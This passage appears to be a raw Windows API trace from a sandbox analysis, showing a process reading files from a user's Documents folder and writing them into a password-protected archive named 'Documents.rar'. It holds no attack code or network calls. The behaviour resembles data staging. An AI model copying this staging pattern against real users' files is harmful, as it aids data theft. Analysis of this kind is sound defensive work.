hFile=0x1b0, lpBuffer=0x36a0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a0040*, lpNumberOfBytesRead=0x1cd8f0*=0x14431, lpOverlapped=0x0) returned 1 [0068.280] ReadFile (in: hFile=0x1b0, lpBuffer=0x36b4471, nNumberOfBytesToRead=0xebbcf, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36b4471*, lpNumberOfBytesRead=0x1cd8f0*=0x0, lpOverlapped=0x0) returned 1 [0068.280] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.280] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.280] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63d10 [0068.280] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63d40 [0068.280] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63d40, Size=0x48) returned 0x39db40 [0068.280] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.280] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63d40 [0068.280] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63d40, Size=0x48) returned 0x39daf0 [0068.280] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.280] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.280] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63d40 [0068.280] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63d70 [0068.280] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63d70 | out: hHeap=0x2e0000) returned 1 [0068.280] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63d40 | out: hHeap=0x2e0000) returned 1 [0068.280] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63d10, Size=0x48) returned 0x39db40 [0068.280] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39db40, Size=0x7a) returned 0x3a3910 [0068.280] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.280] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.282] GetTickCount () returned 0xa675ce [0068.282] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd730 | out: lpPerformanceCount=0x1cd730*=14362288350) returned 1 [0068.283] GetTickCount () returned 0xa675ce [0068.283] GetTickCount () returned 0xa675ce [0068.283] GetTickCount () returned 0xa675ce [0068.283] CoCreateInstance (in: rclsid=0x13f27f5e0*(Data1=0x56fdf344, Data2=0xfd6d, Data3=0x11d0, Data4=([0]=0x95, [1]=0x8a, [2]=0x0, [3]=0x60, [4]=0x97, [5]=0xc9, [6]=0xa0, [7]=0x90)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x13f27cc60*(Data1=0xea1afb91, Data2=0x9e28, Data3=0x4b86, Data4=([0]=0x90, [1]=0xe9, [2]=0x9e, [3]=0x9f, [4]=0x8a, [5]=0x5e, [6]=0xef, [7]=0xaf)), ppv=0x1cd2e8 | out: ppv=0x1cd2e8*=0x3b63d10) returned 0x0 [0068.283] TaskbarList:ITaskbarList3:SetProgressState (This=0x3b63d10, hwnd=0x10278, tbpFlags=2) returned 0x0 [0068.283] TaskbarList:ITaskbarList3:SetProgressValue (This=0x3b63d10, hwnd=0x10278, ullCompleted=0x1d7a5c, ullTotal=0x4b42ce) returned 0x0 [0068.283] TaskbarList:IUnknown:Release (This=0x3b63d10) returned 0x0 [0068.283] GetLastError () returned 0x36b7 [0068.283] SetLastError (dwErrCode=0x36b7) [0068.283] GetDlgItem (hDlg=0x10278, nIDDlgItem=157) returned 0x1029a [0068.283] GetDlgItem (hDlg=0x10278, nIDDlgItem=152) returned 0x10298 [0068.283] GetWindowTextW (in: hWnd=0x10298, lpString=0x1cbeb0, nMaxCount=2560 | out: lpString=" 20%") returned 5 [0068.283] SetWindowTextW (hWnd=0x10298, lpString=" 39%") returned 1 [0068.283] GetLastError () returned 0x0 [0068.284] SetLastError (dwErrCode=0x0) [0068.284] GetDlgItem (hDlg=0x10278, nIDDlgItem=164) returned 0x10294 [0068.284] GetWindowTextW (in: hWnd=0x10294, lpString=0x1cbeb0, nMaxCount=2560 | out: lpString=" 96%") returned 5 [0068.284] SetWindowTextW (hWnd=0x10294, lpString=" 95%") returned 1 [0068.284] SendMessageW (hWnd=0x1029a, Msg=0x402, wParam=0x27, lParam=0x0) returned 0x14 [0068.284] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 1 [0068.284] GetMessageW (in: lpMsg=0x1cd790, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cd790) returned 1 [0068.284] GetFocus () returned 0x0 [0068.284] TranslateMessage (lpMsg=0x1cd790) returned 0 [0068.284] DispatchMessageW (lpMsg=0x1cd790) returned 0x0 [0068.284] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.284] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.284] ResetEvent (hEvent=0x1a4) returned 1 [0068.284] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.286] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.286] ResetEvent (hEvent=0x1a4) returned 1 [0068.286] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.289] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.289] ResetEvent (hEvent=0x1a4) returned 1 [0068.289] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.291] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.291] GetTickCount () returned 0xa675ce [0068.291] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd700 | out: lpPerformanceCount=0x1cd700*=14363151967) returned 1 [0068.291] GetTickCount () returned 0xa675ce [0068.291] GetTickCount () returned 0xa675ce [0068.291] GetTickCount () returned 0xa675ce [0068.291] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.291] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.291] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.291] ResetEvent (hEvent=0x190) returned 1 [0068.291] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.292] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.292] ResetEvent (hEvent=0x190) returned 1 [0068.292] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.293] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.293] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.293] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.293] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5e0*=0) returned 0x1c1838 [0068.293] SetFilePointer (in: hFile=0x198, lDistanceToMove=107, lpDistanceToMoveHigh=0x1cd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5b0*=0) returned 0x1c18a3 [0068.293] CryptUnprotectMemory (in: pDataIn=0x1cd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd460) returned 1 [0068.293] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1cd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0068.293] CryptUnprotectMemory (in: pDataIn=0x1cce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cce40) returned 1 [0068.293] CryptUnprotectMemory (in: pDataIn=0x1ccf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1ccf40) returned 1 [0068.293] CryptUnprotectMemory (in: pDataIn=0x1cd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1cd0c0) returned 1 [0068.293] WriteFile (in: hFile=0x198, lpBuffer=0x219fde0*, nNumberOfBytesToWrite=0x14500, lpNumberOfBytesWritten=0x1cd5e0, lpOverlapped=0x0 | out: lpBuffer=0x219fde0*, lpNumberOfBytesWritten=0x1cd5e0*=0x14500, lpOverlapped=0x0) returned 1 [0068.294] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.294] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.294] SetFilePointer (in: hFile=0x198, lDistanceToMove=1841208, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x1c1838 [0068.294] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1c9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1c9c80*=0) returned 0x1c1838 [0068.294] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63d10 [0068.294] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63d40 [0068.294] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63d40, Size=0x48) returned 0x39daf0 [0068.294] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.294] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63d40 [0068.294] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63d40, Size=0x48) returned 0x39db40 [0068.294] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.294] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.294] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63d40 [0068.294] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63d70 [0068.294] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63d70 | out: hHeap=0x2e0000) returned 1 [0068.294] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63d40 | out: hHeap=0x2e0000) returned 1 [0068.294] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63d10, Size=0x48) returned 0x39daf0 [0068.294] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39daf0, Size=0x7a) returned 0x3a3910 [0068.295] WriteFile (in: hFile=0x198, lpBuffer=0x3a3913*, nNumberOfBytesToWrite=0x6b, lpNumberOfBytesWritten=0x1c82c0, lpOverlapped=0x0 | out: lpBuffer=0x3a3913*, lpNumberOfBytesWritten=0x1c82c0*=0x6b, lpOverlapped=0x0) returned 1 [0068.295] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63d10 [0068.295] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x6b) returned 0x3b4bc10 [0068.295] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.295] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.295] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x1d5da3 [0068.295] CloseHandle (hObject=0x1b0) returned 1 [0068.295] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.295] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.295] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.295] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.295] FindFirstFileW (in: lpFileName="M53FxPpcT\\1ue2Dui.csv", lpFindFileData=0x1cc660 | out: lpFindFileData=0x1cc660) returned 0x3b5b210 [0068.295] FindClose (in: hFindFile=0x3b5b210 | out: hFindFile=0x3b5b210) returned 1 [0068.295] CreateFileW (lpFileName="M53FxPpcT\\1ue2Dui.csv" (normalized: "c:\\users\\whuoxysd\\documents\\m53fxppct\\1ue2dui.csv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0068.295] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2e0e30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0068.295] GetTickCount () returned 0xa675ce [0068.295] GetWindowTextW (in: hWnd=0x10278, lpString=0x1cd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0068.295] GetDlgItem (hDlg=0x10278, nIDDlgItem=156) returned 0x1027e [0068.295] GetWindowTextW (in: hWnd=0x1027e, lpString=0x1cc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0068.295] GetDlgItem (hDlg=0x10278, nIDDlgItem=155) returned 0x10280 [0068.295] GetWindowTextW (in: hWnd=0x10280, lpString=0x1cc070, nMaxCount=2560 | out: lpString="-GriIsafw.csv") returned 13 [0068.295] SetWindowTextW (hWnd=0x10280, lpString="1ue2Dui.csv") returned 1 [0068.296] GetTickCount () returned 0xa675dd [0068.296] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 1 [0068.296] GetMessageW (in: lpMsg=0x1cd830, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cd830) returned 1 [0068.296] GetFocus () returned 0x0 [0068.296] TranslateMessage (lpMsg=0x1cd830) returned 0 [0068.296] DispatchMessageW (lpMsg=0x1cd830) returned 0x0 [0068.296] CryptAcquireContextW (in: phProv=0x1cd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1cd850*=0x3025f0) returned 1 [0068.296] CryptGenRandom (in: hProv=0x3025f0, dwLen=0x10, pbBuffer=0x1cd8d0 | out: pbBuffer=0x1cd8d0) returned 1 [0068.296] CryptReleaseContext (hProv=0x3025f0, dwFlags=0x0) returned 1 [0068.296] GetSystemTime (in: lpSystemTime=0x1cd7e8 | out: lpSystemTime=0x1cd7e8*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x1d, wMilliseconds=0x39e)) [0068.296] SystemTimeToFileTime (in: lpSystemTime=0x1cd7e8, lpFileTime=0x1cd7e0 | out: lpFileTime=0x1cd7e0) returned 1 [0068.296] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd810 | out: lpPerformanceCount=0x1cd810*=14363686749) returned 1 [0068.297] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a0040*, lpNumberOfBytesRead=0x1cd8f0*=0xc3e1, lpOverlapped=0x0) returned 1 [0068.297] ReadFile (in: hFile=0x1b0, lpBuffer=0x36ac421, nNumberOfBytesToRead=0xf3c1f, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36ac421*, lpNumberOfBytesRead=0x1cd8f0*=0x0, lpOverlapped=0x0) returned 1 [0068.297] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.297] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.297] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63d40 [0068.297] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63d70 [0068.297] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63d70, Size=0x48) returned 0x39db40 [0068.297] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.297] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63d70 [0068.297] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63d70, Size=0x48) returned 0x39daf0 [0068.297] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.297] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.297] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63d70 [0068.297] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63da0 [0068.297] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63da0 | out: hHeap=0x2e0000) returned 1 [0068.297] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63d70 | out: hHeap=0x2e0000) returned 1 [0068.297] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63d40, Size=0x48) returned 0x39db40 [0068.297] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39db40, Size=0x7a) returned 0x3a3910 [0068.298] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.298] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.300] GetTickCount () returned 0xa675dd [0068.300] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd730 | out: lpPerformanceCount=0x1cd730*=14364004512) returned 1 [0068.300] GetTickCount () returned 0xa675dd [0068.300] GetTickCount () returned 0xa675dd [0068.300] GetTickCount () returned 0xa675dd [0068.300] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.300] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.300] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.300] ResetEvent (hEvent=0x1a4) returned 1 [0068.300] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.304] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.304] ResetEvent (hEvent=0x1a4) returned 1 [0068.304] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.305] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.305] GetTickCount () returned 0xa675dd [0068.305] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd700 | out: lpPerformanceCount=0x1cd700*=14364574864) returned 1 [0068.305] GetTickCount () returned 0xa675dd [0068.305] GetTickCount () returned 0xa675dd [0068.305] GetTickCount () returned 0xa675dd [0068.305] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.305] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.305] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.306] ResetEvent (hEvent=0x190) returned 1 [0068.306] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.306] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.306] ResetEvent (hEvent=0x190) returned 1 [0068.306] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.307] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.307] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.307] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.307] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5e0*=0) returned 0x1d5da3 [0068.307] SetFilePointer (in: hFile=0x198, lDistanceToMove=105, lpDistanceToMoveHigh=0x1cd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5b0*=0) returned 0x1d5e0c [0068.307] CryptUnprotectMemory (in: pDataIn=0x1cd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd460) returned 1 [0068.307] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1cd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0068.307] CryptUnprotectMemory (in: pDataIn=0x1cce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cce40) returned 1 [0068.307] CryptUnprotectMemory (in: pDataIn=0x1ccf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1ccf40) returned 1 [0068.307] CryptUnprotectMemory (in: pDataIn=0x1cd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1cd0c0) returned 1 [0068.307] WriteFile (in: hFile=0x198, lpBuffer=0x219fde0*, nNumberOfBytesToWrite=0xc470, lpNumberOfBytesWritten=0x1cd5e0, lpOverlapped=0x0 | out: lpBuffer=0x219fde0*, lpNumberOfBytesWritten=0x1cd5e0*=0xc470, lpOverlapped=0x0) returned 1 [0068.308] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.308] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.308] SetFilePointer (in: hFile=0x198, lDistanceToMove=1924515, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x1d5da3 [0068.308] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1c9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1c9c80*=0) returned 0x1d5da3 [0068.308] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63d40 [0068.308] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63d70 [0068.308] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63d70, Size=0x48) returned 0x39daf0 [0068.308] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.308] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63d70 [0068.308] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63d70, Size=0x48) returned 0x39db40 [0068.308] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.308] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.308] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63d70 [0068.308] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63da0 [0068.308] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63da0 | out: hHeap=0x2e0000) returned 1 [0068.308] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63d70 | out: hHeap=0x2e0000) returned 1 [0068.308] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63d40, Size=0x48) returned 0x39daf0 [0068.308] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39daf0, Size=0x7a) returned 0x3a3910 [0068.308] WriteFile (in: hFile=0x198, lpBuffer=0x3a3913*, nNumberOfBytesToWrite=0x69, lpNumberOfBytesWritten=0x1c82c0, lpOverlapped=0x0 | out: lpBuffer=0x3a3913*, lpNumberOfBytesWritten=0x1c82c0*=0x69, lpOverlapped=0x0) returned 1 [0068.308] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63d40 [0068.308] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x69) returned 0x3b4bc90 [0068.308] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.308] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.308] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x1e227c [0068.308] CloseHandle (hObject=0x1b0) returned 1 [0068.309] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.309] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.309] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.309] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.309] FindFirstFileW (in: lpFileName="M53FxPpcT\\FCaj7Z UR1.ots", lpFindFileData=0x1cc660 | out: lpFindFileData=0x1cc660) returned 0x3b5b210 [0068.309] FindClose (in: hFindFile=0x3b5b210 | out: hFindFile=0x3b5b210) returned 1 [0068.309] CreateFileW (lpFileName="M53FxPpcT\\FCaj7Z UR1.ots" (normalized: "c:\\users\\whuoxysd\\documents\\m53fxppct\\fcaj7z ur1.ots"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, 